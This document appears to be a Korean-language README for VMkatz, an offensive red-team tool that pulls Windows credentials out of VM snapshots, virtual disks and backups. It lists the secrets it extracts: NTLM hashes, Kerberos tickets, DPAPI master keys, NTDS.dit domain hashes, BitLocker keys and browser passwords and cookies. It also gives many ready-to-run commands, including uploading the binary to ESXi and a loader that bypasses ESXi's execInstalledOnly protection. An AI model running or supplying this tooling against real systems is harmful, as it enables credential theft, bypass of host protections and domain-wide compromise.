
VM 메모리 스냅샷과 가상 디스크에서 Windows 자격 증명을 직접 추출합니다.
레드팀 참여 3주 차입니다. 가상화 클러스터에 연결된 NAS에 침투했습니다. 수백 기가바이트의 .vmdk, .vmsn, .sav 파일이 바로 눈앞에 있습니다. 하지만 링크 속도는 200 KB/s에 불과합니다. 100 GB 디스크 하나를 유출하는 데만 6일이 걸릴 것입니다.
VMkatz는 제자리에서 읽을 수 있는 것을 굳이 유출할 필요는 없다는 생각에서 만들어졌습니다. VM 파일 — 메모리 스냅샷, 가상 디스크, Veeam 백업 — 에서 Windows 자격 증명을 직접 추출합니다: NTLM 해시, Kerberos 티켓, DPAPI 마스터 키, LSA 시크릿, NTDS.dit, BitLocker 키, 브라우저 시크릿.
약 3 MB 크기의 단일 정적 바이너리입니다. ESXi 호스트, Proxmox 노드, 또는 NAS에 올려놓으세요. VM 폴더를 지정하면 디스크 이미지가 아닌 자격 증명을 가지고 나올 수 있습니다.
mimikatz가 구현하는 9개의 SSP 자격 증명 공급자 전부:
| 공급자 | 데이터 | 비고 |
|---|---|---|
| MSV1_0 | NT/LM 해시, SHA1 | 페이징된 항목에 대한 물리적 스캔 폴백 |
| WDigest | 평문 비밀번호 | 연결 리스트 순회 + .data 폴백 |
| Kerberos | AES/RC4/DES 키, 티켓 (.kirbi/.ccache) | AVL 트리 순회 + 해제된 세션에 대한 티켓 카빙 |
| TsPkg | 평문 비밀번호 | RDP 세션 전용 |
| DPAPI | 마스터 키 캐시 (GUID + 복호화된 키) | 오프라인 DPAPI 복호화용 SHA1 마스터키 |
| SSP | 평문 자격 증명 | msv1_0.dll 내 SspCredentialList |
| LiveSSP | 평문 자격 증명 | livessp.dll 필요 (Win8 이후로는 드묾) |
| Credman | 저장된 자격 증명 | 해시 테이블 + 단일 리스트 열거 |
| CloudAP | Azure AD 토큰 | 로컬 전용 로그온에서는 일반적으로 비어 있음 |
추가로: 메모리에서 BitLocker FVEK 추출 (FVEc/Cngb 풀 태그 스캔).
$DPAPImk$ — 모드 15300/15310/15900/15910)| 형식 | 확장자 | 출처 | 상태 |
|---|---|---|---|
| VMware 스냅샷 | .vmsn + .vmem | Workstation, ESXi | 테스트 완료 |
| VMware 임베디드 스냅샷 | .vmsn (.vmem 없음) | ESXi suspend | 테스트 완료 |
| VirtualBox 저장 상태 | .sav | VirtualBox | 테스트 완료 |
| QEMU/KVM savevm 상태 | 자동 감지 | Proxmox, QEMU | 테스트 완료 |
| QEMU/KVM ELF 코어 덤프 | .elf | virsh dump | 테스트 완료 |
| Hyper-V 저장 상태 | .vmrs | Hyper-V 2016+ | 테스트 완료 |
| Veeam 백업 | .vbk, .vib, .vrb | Veeam B&R | 테스트 완료 |
| VMware 가상 디스크 | .vmdk (sparse + flat) | Workstation, ESXi | 테스트 완료 |
| VirtualBox 가상 디스크 | .vdi | VirtualBox | 테스트 완료 |
| QEMU/KVM 가상 디스크 | .qcow2 | QEMU, Proxmox | 테스트 완료 |
| Hyper-V 가상 디스크 | .vhdx, .vhd | Hyper-V | 테스트 완료 |
| VMFS-5/6 원시 SCSI 디바이스 | /dev/disks/... | ESXi (파일 잠금 우회) | 테스트 완료 |
| LVM 블록 디바이스 | /dev/... | Proxmox LVM-thin | 테스트 완료 |
| 원시 레지스트리 하이브 | SAM, SYSTEM, SECURITY | reg save | 테스트 완료 |
| 원시 NTDS.dit | ntds.dit + SYSTEM | 도메인 컨트롤러 | 테스트 완료 |
| LSASS 미니덤프 | .dmp | procdump, 작업 관리자 | 테스트 완료 |
| VM 디렉터리 | 모든 폴더 | 모든 파일 자동 탐색 | 테스트 완료 |
대상 OS: Windows Server 2003부터 Windows Server 2025 / Windows 11 24H2까지 (x86 PAE + x64).
# Extract LSASS credentials from a VMware snapshot
./vmkatz snapshot.vmsn
# With pagefile resolution for paged-out creds
./vmkatz --disk disk.vmdk snapshot.vmsn
# Extract SAM/LSA/DCC2 from a virtual disk
./vmkatz disk.vmdk
# Extract AD hashes from a domain controller disk
./vmkatz --ntds dc-disk.qcow2
# Point at a VM folder and let it find everything
./vmkatz /path/to/vm-directory/
# Extract from raw registry hives
./vmkatz SAM SYSTEM SECURITY
# Output as hashcat-ready hashes
./vmkatz --format hashcat snapshot.vmsn
# Export Kerberos tickets
./vmkatz --kirbi snapshot.vmsn # .kirbi files
./vmkatz --ccache snapshot.vmsn # .ccache file
# Export BitLocker FVEK for dislocker
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
# Recursively scan all VMs under a path
./vmkatz -r /vmfs/volumes/datastore1/
# Parse LSASS minidump
./vmkatz lsass.dmp
# Extract from Hyper-V saved state
./vmkatz guest.vmrs
# Extract from Veeam backup (build with --features veeam)
./vmkatz backup.vbk
./vmkatz --veeam-list backup.vbk # List disk images
./vmkatz --veeam-extract backup.vbk # Extract raw disk
| 형식 | 플래그 | 설명 |
|---|---|---|
text | --format text (기본값) | 세션 메타데이터를 포함한 전체 자격 증명 덤프 |
brief | --format brief | 자격 증명당 한 줄로 요약한 간결한 형식 |
ntlm | --format ntlm | DOMAIN\user:::hash::: pwdump 형식 |
hashcat | --format hashcat | 원시 해시: 모드 1000 (NTLM), 2100 (DCC2), 15300/15900 (DPAPI) |
csv | --format csv | 기계 판독 가능, 모든 필드 포함 |
# Cross-compile for ESXi (musl static)
cargo build --release --target x86_64-unknown-linux-musl
# Upload and run
scp target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
/tmp/vmkatz /vmfs/volumes/datastore1/MyVM/MyVM-Snapshot1.vmsn
VIB 보호(execInstalledOnly)가 활성화된 경우 Python 로더를 사용하세요. 설정을 비활성화할 필요가 없습니다:
scp tools/vmkatz_loader.py target/x86_64-unknown-linux-musl/release/vmkatz root@esxi:/tmp/
python /tmp/vmkatz_loader.py /tmp/vmkatz /vmfs/volumes/datastore1/MyVM/snapshot.vmsn
VIB 우회 세부 정보, VMFS 원시 디바이스 접근 및 자동 검색은 docs/esxi.md를 참조하세요.
VMkatz는 모듈식입니다. 기능은 컴파일 시점에 활성화/비활성화할 수 있습니다:
| 기능 | 설명 | 기본값 |
|---|---|---|
vmware | VMware .vmsn/.vmem 스냅샷 지원 | 예 |
vbox | VirtualBox .sav 저장 상태 지원 | 예 |
qemu | QEMU/KVM ELF 코어 덤프 + Proxmox savevm | 예 |
hyperv | Hyper-V .vmrs/.bin/.raw 덤프 지원 | 예 |
sam | 디스크 추출(SAM/LSA/DCC2) + 디스크 형식 핸들러 | 예 |
ntds.dit | NTDS.dit AD 추출. sam 필요 | 예 |
carve | 부분/잘린 메모리로부터의 저하된 추출 | 예 |
dump | 프로세스 메모리를 minidump로 덤프 | 예 |
vmfs | ESXi SCSI 디바이스용 VMFS-5/6 원시 파서. sam 필요 | 예 |
chrome | 브라우저 비밀 추출(Chromium + Firefox). sam 필요 | 아니요 |
veeam | Veeam VBK/VIB/VRB 백업 지원. sam 필요 | 아니요 |
cargo build --release # Full build
cargo build --release --no-default-features --features vmware # VMware only
cargo build --release --no-default-features --features "sam ntds.dit" # Disk only
cargo build --release --features chrome # Add chrome module
cargo build --release --features veeam # Add Veeam backup support
선택적 chrome 모듈은 오프라인 DPAPI 복호화를 통해 Chromium 계열 브라우저(Chrome, Edge, Brave, Vivaldi, Opera)에서 저장된 비밀번호, 쿠키, 자동 완성 데이터를 추출합니다. --features chrome으로 빌드하고, --chrome으로 활성화하세요.
Chrome v10(os_crypt.encrypted_key)과 v20 App-Bound Encryption(Chrome ≥127)을 지원합니다. 디스크, 메모리+디스크(하이브리드), 또는 둘을 결합한 방식으로 동작합니다.
./vmkatz --chrome disk.vmdk # Disk-only
./vmkatz --chrome --chrome-password vagrant disk.vmdk # With extra password
./vmkatz --chrome --disk disk.vmdk snapshot.vmsn # Hybrid mem+disk
./vmkatz --chrome --chrome-json disk.vmdk # JSON output
도메인 사용자(자격 증명이 로컬 SAM에 없는 경우)의 경우, 알려진 평문과 함께 --chrome-password를 사용하거나 NT 해시와 함께 --chrome-nthash를 사용하여 해당 사용자의 브라우저 비밀 정보를 잠금 해제하십시오.